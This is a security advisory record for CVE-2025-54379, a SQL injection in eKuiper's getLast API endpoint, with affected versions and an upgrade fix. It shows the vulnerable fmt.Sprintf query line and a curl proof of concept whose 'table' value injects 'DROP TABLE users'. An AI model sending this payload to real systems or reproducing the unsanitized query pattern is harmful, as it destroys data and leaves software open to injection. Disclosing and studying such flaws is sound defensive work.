---
id: CVE-2025-54379
aliases:
  - GHSA-526j-mv3p-f4vv
  - GO-2025-3827
  - PYSEC-2025-241
title: 'eKuiper API endpoints handling SQL queries with user-controlled table names. '
summary: 'eKuiper API endpoints handling SQL queries with user-controlled table names. '
severity: high
cvss: 9.8
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'
vendor: lf-edge
product: github.com/lf-edge/ekuiper/v2
ecosystem: go
affected:
  - github.com/lf-edge/ekuiper/v2 < 2.2.1
  - github.com/lf-edge/ekuiper <= 1.14.7
patched:
  - github.com/lf-edge/ekuiper/v2 2.2.1
published: '2025-07-24'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:25.742430442Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-526j-mv3p-f4vv'
references:
  - url: 'https://github.com/lf-edge/ekuiper/security/advisories/GHSA-526j-mv3p-f4vv'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-54379'
  - url: >-
      https://github.com/lf-edge/ekuiper/commit/72c4918744934deebf04e324ae66933ec089ebd3
  - url: 'https://github.com/lf-edge/ekuiper'
tags:
  - osv
  - go
  - pip
epss: 0.00767
epssPercentile: 0.53616
cvssSource: osv
ingestedAt: '2026-07-13T18:58:06.644Z'
---

## Overview

### Summary
A critical SQL Injection vulnerability exists in the `getLast` API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.


### Details
The root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using `fmt.Sprintf`, without validating the `table` parameter. Specifically, in:

```go
query := fmt.Sprintf("SELECT * FROM %s ORDER BY rowid DESC LIMIT 1", table)
```
Any value passed as the `table` parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.


### PoC
1. **Deploy eKuiper instance** (default config is sufficient).
2. **Send a crafted request to the SQL query endpoint**:
```bash
   curl -X POST http://localhost:9081/sql-query \
     -H "Content-Type: application/json" \
     -d '{
       "table": "sensors; DROP TABLE users; --",
       "operation": "getLast"
     }'
```
3. **Effect**: Executes two SQL queries — the first selects data, the second drops the `users` table.
4. **Verify Result**:
```bash
   sqlite3 etc/kuiper/data/kuiper.db ".tables"
```

### Impact
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')


### Refferences
- https://github.com/lf-edge/ekuiper/commit/72c4918744934deebf04e324ae66933ec089ebd3

## Affected packages

- `github.com/lf-edge/ekuiper/v2 < 2.2.1`
- `github.com/lf-edge/ekuiper <= 1.14.7`

## Remediation

Upgrade to a patched release:

- `github.com/lf-edge/ekuiper/v2 2.2.1`
